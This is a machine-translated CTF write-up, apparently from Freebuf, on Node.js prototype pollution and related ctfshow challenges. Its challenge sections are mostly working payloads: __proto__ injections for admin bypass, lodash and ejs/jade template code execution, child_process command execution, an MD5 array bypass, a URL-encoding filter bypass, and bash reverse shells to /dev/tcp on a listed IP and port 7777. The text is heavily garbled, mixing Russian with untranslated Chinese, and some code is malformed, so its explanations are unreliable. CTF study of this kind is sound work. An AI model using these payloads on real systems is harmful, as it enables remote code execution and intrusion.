Статья впервые появилась вFreebufСообществоhttps://www.freebuf.com/articles/web/361333.html
Node.js
Раньше об этом многого не знал,Недавно я столкнулся с некоторыми связанными проблемами,Обнаружил, что Загрязнение цепочек прототипов является одним из частых мест его испытаний.,Краткое изложение после изучения,Надеюсь, это будет полезно магистрам, обучающимся
Прежде всего, я рекомендую эту статьюhttps://developer.mozilla.org/,Прочитав это, вы получите общее представление о цепочке прототипов.,Очень полезно для дальнейшего изучения. Так что же такое Загрязнение цепочки прототипов Шерстяная ткань?
Более официальное объяснение выглядит следующим образом:
В JavaScript каждый объект имеет прототип, который является ссылкой на другой объект. Когда мы получаем доступ к свойству объекта, если объект не имеет этого свойства, движок JavaScript будет искать это свойство в своем объекте-прототипе. Этот процесс продолжается до тех пор, пока свойство не будет найдено или пока не будет достигнут конец цепочки прототипов. Злоумышленник может использовать эту функцию, чтобы испортить поведение программы, изменив цепочку прототипов объекта. Например, злоумышленник может установить вредоносное свойство или метод в цепочке прототипов объекта. Когда программа обращается к свойству или методу при последующих выполнениях, вредоносный код злоумышленника будет выполнен.
Проще говоря, мы фактически загрязняем некий атрибут в исходной цепочке и вставляем в него вредоносный код. Когда мы снова вызовем эту цепочку (то есть воспользуемся этим объектом), на этом этапе сработает наш вредоносный код. выполнения вредоносного кода.
говоря о Загрязнение цепочки прототипов,Тогда это точно неразлучно__proto__
иprototype
,Итак, теперь нам нужно понять, что это за два.
существоватьJavaScript
середина,каждыйобъект Есть имя__proto__
встроенные свойства,Он указывает на прототип объекта. в то же время,каждыйфункция也Есть имя prototype
характеристики,это объект,Содержит свойства и методы, которые должен иметь прототипобъекта функции-конструктора. Проще говоря,__proto__
Свойства указывают на прототип объекта, а prototype
свойства используются для созданияобъектструктурафункцияизпрототип。
Это немного абстрактно, поэтому вот пример для иллюстрации: сначала мы открываем Google Chrome, F12, переключаемся на консоль, а затем пишем следующий код.
function Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};
const person1 = new Person('Alice');
person1.greet(); // выход "Hello, my name is Alice"
В примере мы создаем файл с именем Person
структурафункция,и будетprototype
上изgreet
设置для一个打招呼изфункция。Когда мы создаем файл с именемperson1
из实例час,он унаследуетPerson.prototype
объект上изgreet
метод。поэтому,Когда мы звонимperson1.greet()
час,это будетвыход "Hello, my name is Alice"
。
Это видно отсюда,prototype
это классPerson
из一个свойство,Все классы использованияPerson
进行实例化изобъект,будет иметьprototype
из全部内容。
我们实例化出来изperson1
объект,невозможно пройтиprototype
доступпрототипиз,но через__proto__
就可以实现доступPerson
прототип,Конкретный код выглядит следующим образом
console.log(person1.__proto__ === Person.prototype); // выход true
Подвести итог(Отрывок изhttps://www.leavesongs.com) 1. Прототип — это атрибут класса. Все объекты класса будут иметь атрибуты и методы прототипа при создании экземпляра. 2. Атрибут __proto__ объекта указывает на атрибут прототипа класса, в котором находится объект.
Схема их взаимоотношений выглядит следующим образом.
Так что же такое Загрязнение цепочки прототипов Шерстяная ткань Здесь мы используем простой пример, чтобы проиллюстрировать это.
var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520
var c= {}
c.number
Ситуация здесь требует краткого пояснения,我们可以看到существовать我们进行b.__proto__.number=520
После операции,即使да内容для空изc
,вызовnumber
свойство仍存существовать且值для我们设定из520,这час就达到Понятно一个Загрязнение цепочки Цель прототипов. Далее поговорим о некоторых моментах, в которых у некоторых мастеров могут возникнуть сомнения.
один、Почему это было исполнено
b.__proto__.number=520
После этого мы выводим значение b, которое по-прежнему равно 1314.
Это потому, что в JavaScript есть такой механизм наследования:
我们здесьвызовb.number
час,Его конкретный процесс вызова выглядит следующим образом
1、Найдите атрибут номера в bобъекте
2. Если он не найден в bобъекте, он будет искать атрибут номера в b.__proto__.
3. Если он все еще не найден, он будет искать атрибут номера в b.__proto__.__proto__.
То есть,оно начинает искать себя,Затем рекурсивно ищите вверх слой за слоем.,Пока он не будет найден или рекурсивно не достигнетnull
до,Этот механизм называетсяЦепочка наследования JavaScript
,我们здесьиззагрязнятьхарактеристикидасуществоватьb.__proto__
середина,而我们изb
объектсамnumber
,Поэтому его стоимость не изменилась.
2. Почему вновь созданное значение cобъект пусто?,вызов
c.number
竟然有值而且для我们设定из520
Когда вы поймете предыдущий вопрос,Эта проблема будет легко решена,我们здесьизc
объект虽然да空из,ноЦепочка наследования JavaScript
из机制就会使它继续递归寻找,此час也就来到Понятноc.__proto__
середина寻找number
свойство,Мы только что сделали Загрязнение прототипов цепочек.,它изc.__proto__
На самом деле этоObject.protoype
,而我们进行загрязнятьизb.__proto__
СлишкомObject.prototype
,所以此час它вызовизnumber
就да我们刚刚загрязнятьхарактеристики,Вот почемуc .number=520
Обычно это наблюдается, когда есть функция, функция которой заключается в копировании содержимого одного массива в другой массив. Пример следующий.
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// Если цель и источник имеют одинаковое имя ключа Тогда пусть ключевое значение цели будет ключевым значением источника.
merge(target[key], source[key])
} else {
target[key] = source[key] // Если цель и источник не имеют одинакового имени ключа Затем непосредственно создайте новое имя ключа в цели и присвойте ему значение ключа.
}
}
}
let o1 = {}
let o2 = JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
Здесь вы можете видеть, что наш контент o3 пуст.,новызовbсвойство Слишком成功выход Понятно2
,Это означает, что то, что мы только что сделали, было успешным.,Позвольте мне также рассказать о некоторых моментах, в которых могут возникнуть сомнения у некоторых мастеров.
1. Зачем нам добавлять JSON.parse? Что делает эта функция? Что произойдет, если мы ее не добавим?
Это потому, что,В случае анализа JSON,__proto__
会被认дляда一个真正изИмя ключа
,а не представлятьпрототип
,Таким образом, этот ключ будет существовать при прохождении o2. когда не добавлено,Он подумает, что он прототип,Ситуация на данный момент следующая
Вот почему нам нужно добавить эту функцию
дляtoUpperCase()
функция
Символы «ı», «ſ» Результат после обработки toUpperCase: "I"、"S"
дляtoLowerCase
Символ «K» обрабатывается toLowerCase, и результатом является «k» (этот K не является K).
Подробности можно найти вhttps://www.leavesongs.com/
экологический справочникhttps://adworld.xctf.org.cn/challenges/list Открытый вопрос
Обнаружено, что это интерфейс входа в систему, и указан интерфейс регистрации. Нажмите на интерфейс регистрации, и вы обнаружите, что требуется код приглашения.
Если кода приглашения нет, при входе он будет выглядеть так
На данный момент, если учесть JS Загрязнение цепочки прототиповиз话,Это становится просто,Должно быть, мы превысили свои полномочия и получили права администратора.,тем самым получивflag
,Его интерфейс регистрации показан в Исходный код выглядит следующим образом (во время конкурса это черный ящик).,Исходный код здесь не указан)
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
Мы заметили здесьObject.assign
метод,他类似之前示例说изclone
функция,Object.assign
этотметодда可以触发Загрязнение цепочки прототиповиз,Итак, у нас здесь загрязнение__proto__.isAdmin
для true
Вот и все.
{"__proto__":{"isAdmin":true}
В это время вы можете преступить свои полномочия и получить флаг.
Ссылка на исходный кодhttps://code-breaking.com/puzzle/9/#promo-block
搭建环境из话,Сначала установите егоexpress
рамка
cnpm i express -S
Затем установите его сноваlodash
модуль
npm install lodash
а затем пройтиnode server.js
Вы можете открыть среду вопросов
Окружающая среда следующая
Далее бегло взглянем на код
#server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
首先我们здесь可以发现存существоватьmerge
функция
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
Смысл здесь также относительно прост,Информация будет отправлена через нашу ПОЧТУ,проходитьmerge
сливаться вsession
середина,В конечном итоге вся предоставленная нами информация будет сохранена в сеансе.,那么存существоватьэтотmerge
функцияиз话,Объясните, что мы можем сделать. Загрязнение цепочек прототипов.,Так какими же должны быть наши параметры загрязнения?,Давайте сейчас посмотрим на эти строки кода
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
可以发现其对内容进行Понятноlodash.template
иметь дело с,Мы следим за этой функцией,Конкретный код можно увидетьhttps://github.com/lodash
могу найти этоsourceURL
当没有值изчас候就да一个空из状态,И когда это имеет ценность,примет текущее значение,Посмотрим, как он с этим справится дальше
Вы можете обнаружить, что сюда помещен второй параметр функции, и теперь мы можем реализовать выполнение кода.
所以我们загрязнятьизпараметр就даsourceURL
,специфическийPayload
Как показано ниже
{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}
Здесь нужно обратить внимание,我们изConType-type
需要修改дляapplication/json
,Это позволит__proto__
成для键值而非прототип,之所以可以直接这样修改да因дляэкспресс-фреймворк
поддержка на основеContent-Type
анализироватьТело запроса
。
в то же время,Причина, по которой он здесь не используетсяrequire
из原因如下
В среде Function нет функции require. Непосредственное использование require('child_process') сообщит об ошибке, поэтому вместо этого нам нужно использовать global.process.mainModule.constructor._load.
Было предоставлено вложение (zip). При открытии есть два файла. Конкретное содержимое следующее.
#user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: 'Ошибка входа'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: 'Вход успешен',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: 'Неверная учетная запись или пароль'});
}
});
module.exports = router;
Смотрите здесьuser.js
里给出Понятно账密,接下来我们существовать看login.js
,здесьиз话可以看到对账号进行Понятно一个toUpperCase()
функцияиметь дело с,Функция этой функции — изменить все символы нижнего регистра на символы верхнего регистра.,Как показано ниже
поэтому我们здесьиз话账号даCTFSHOW
,Нам просто нужно войтиctfshow
,Он может статьCTFSHOW
горячий
Окружающая среда после входа выглядит следующим образом
Я не увидел никакой полезной информации. В настоящее время проверьте исходный код, чтобы узнать, есть ли какая-либо полезная информация.
发现提示Понятноeval
параметр,В это время нам нужно кое-что посмотреть,即如何существоватьNode.js
执行命令
http://nodejs.cn/api/child_process.html
Вы можете увидеть эту функцию в
Для этого требуется только написать команду, поэтому мы просто пробуем ее.
eval=require('child_process').execSync('ls')
Команда выполнена успешно,Далее попытайтесь получитьflag
eval=require('child_process').execSync('cat f*')
Есть еще одна функция
этотspawnSync
функцияиз话да需要两个параметр,Возвращаемое значение не является обязательным,Но когда возвращаемое значение не заполнено,默认返回издаObject
,Итак, вот на самом деле три параметра,то есть команда,Параметры команды,и формат возврата,Например, здесь мы хотим выполнитьls .
,Тогда мы можем написать это здесь какspawnSync('ls',['.']).output
,Затем попробуйте выполнить его в диапазоне
eval=require('child_process').spawnSync('ls',['.']).output
Успешно выполнено, проверьте флаг далее
eval=require('child_process').spawnSync('tac',['fl00g.txt']).output
Подобно среде Шангуаня, попробуйте полезную нагрузку Шангуаня здесь.
eval=require('child_process').execSync('cat f*')
Энциклопедияtql
,Правда на первый взгляд,Это некоторые строки, которые были отфильтрованы,здесьиз话感觉应该даexecSync
,Здесь мы можем использовать метод сплайсинга для обхода,然后本来из话да.execSync
,我们здесь可以修改для['exe'+'Sync']
,Мало знаний[xxx]=.xxx
,Итак, давайте попробуем этот метод здесь
eval=require('child_process')['exe'%2B'cSync']('ls')
//Знак + закодирован в URL, потому что, если он не закодирован, + будет анализироваться как пробел.
Та же причина,Проверятьflag
Используйте вторую функцию выше (spawnSync) для нормального выполнения команды.
eval=require('child_process').spawnSync('cat',['fl001g.txt']).output
Исходный код приведен в вопросе, как показано ниже.
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
Дело в том,
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
Чтобы обойти md5, вы можете использовать обход массива для создания следующего оператора.
a[]=1&b=1
Вы также можете использовать эту полезную нагрузку
a[a]=1&b[b]=12
Это потому, что此час题目两个打印出来изда一致из,ВсеObject
,так
传传a[0]=1&b[0]=2
不行да因для当我们这样传изчас候相当于创Понятно个变量a=[1] b=[2]
,Результат на данный момент
Исходный код приведен здесь,其серединаизlogin.js
Содержимое файла следующее
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: «Ошибка входа»+JSON.stringify(user)});
}
});
module.exports = router;
этот用到Понятноutils
里изcopy
функция,Давайте посмотрим здесьutils
серединаcomman.js
文件里из内容
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
Это простое задание,Догадаться, где находится точка осмотра, можно, посмотрев сюда.Node.js
изпрототипзагрязнять,Вот если бы мыkey
да__proto__
,Вы можете добиться загрязнения атрибута,здесь要求из条件secert.ctfshow==='36dboy'
,Если мы пойдем устанавливать"__proto__":"ctfshow:36dboy"
,它首先существоватьsecret
середина寻找,не найденоctfshow
,Я буду продолжать его искать.,此час就会找到Object
,因дляObject.prototype
середина有ctfshow
,Итак, на данный момент мы удовлетворяем условиям,Успешно обойдено
#login.js Часть кода
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: «Ошибка входа»+JSON.stringify(user)});
}
单看этотlogin.js
из话,Мы не знаем здесьflag
,肯定да无法满足secert.ctfshow===flag
из
Аналогично предыдущему вопросу,ноздесьизapi.js
内容середина有这样一串代码
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
Если мы сможем настроить содержимое запроса,RCE может быть достигнут,所以我们здесьиз话就用Загрязнение цепочки прототиповизменить__proto__
из值,Конкретная полезная нагрузка следующая
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
Затем получите доступ к интерфейсу API,从而вызовэтотquery
В это время проверьте порт 7777, который мы отслеживаем, и успешно восстановите оболочку.
cat login.js|grep flag
В этом вопросе используется шаблон ejs,дляшаблон ejs RCE
我们здесьиз话可以看一下这两篇文章
https://evi0s.com/
https://xz.aliyun.com/t/7184#toc-7
里面对其进行Понятноспецифический分析,я довольно хорош,я не совсем понимаю,只知道最后изметодиз话就да对一个名дляoutputFunctionName
из成员进行赋值,Его содержимое — наш вредоносный код,Затем мы просим еще раз,Вы можете запустить выполнение этого кода,Конкретная полезная нагрузка следующая
"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP-адрес/порт прослушивания 0>&1\"');var __tmp2"}
На этом этапе вредоносный код успешно написан. Затем обновите интерфейс, чтобы успешно восстановить оболочку.
Окружающая среда здесь похожа на Шангуань.,ноlogin.js
серединаиз内容略有改动,Подробности следующие
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: 'Ошибка входа'});
}
});
改动点существовать于utils.copy(user.userinfo,req.body);
,原本даuser
из,Это означает, что в цепочке прототипов есть еще один слой.,Давайте просто добавим еще один слой.,Исходная цепочка прототипов должна быть
user.__proto__->Object.__proto__
Теперь это стало
user.userinfo__proto->user.__proto__->Object.__proto__
поэтому我们здесьсуществовать上一关изpayloadВ общем, добавьте еще один__proto__
Вот и все,Конкретная полезная нагрузка следующая
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP-адрес/порт прослушивания 0>&1\"')"}}}
而后POST发包доступ/api
интерфейс
Проверьте, успешно ли восстановлена оболочка
здесь缺少Понятноapi.js
,Это означает, что мы больше не можем использовать предыдущий метод.,но考虑到здесьизшаблон ejs
,Итак, здесь вам следует использовать ejs для восстановления оболочки.,Попробуйте использовать эту полезную нагрузку для оболочки отскока.,Аналогично предыдущей полезной нагрузке,Несколько наборов и один слой__proto__
,Конкретная полезная нагрузка следующая
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}
}}
Затем обновите интерфейс для выполнения нашего вредоносного кода, а затем проверьте, успешно ли VPS восстанавливает оболочку.
Если флага здесь нет, нам нужно найти его самим.
find / |grep flag
cat /flag
jade
из Загрязнение цепочки прототипов,Справочная ссылкаhttps://xz.aliyun.com/t/7025,Потому что node.js менее понятен,Итак, вот ссылка на полезные нагрузки других мастеров, которые можно попробовать.,Подождите, пока вы изучите node.js, прежде чем анализировать конкретный код.,Полезная нагрузка следующая
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}
Затем обновите интерфейс и просмотрите отслеживаемые VPS.
Оболочка восстановления успешно завершена,接下来Проверятьflag
Вот и все
Говорят, что фильтрация добавлена, но полезная нагрузка предыдущего уровня все еще используется и ее можно очистить.
Исходный код выглядит следующим образом
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
Как видите, здесь нам нужно выполнить три условия.
1、query.name==='admin'
2、query.password==='ctfshow'
3、query.isVIP===true
Обычно, если здесь нет фильтрации, мы можем просто написать полезную нагрузку следующим образом:
query={"name":"admin","password":"ctfshow","isVIP":true}
ноздесь存существовать过滤(req.url.match(/8c|2c|\,/ig))
,%2c
да,
,Поэтому мы больше не можем использовать здесь запятые,Мы можем использовать его здесь&&
заменить его,Но в это время я обнаружил, что это невозможно.,Это потому, что:"ctfshow
здесь,этот"
из编码да%22
,И это связано с c,此час就да%22c
,此час就有2c
Понятно,Значит условия не соблюдены,Поэтому нам нужно здесь выполнить кодирование URL-адреса c.,Итак, окончательная полезная нагрузка
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}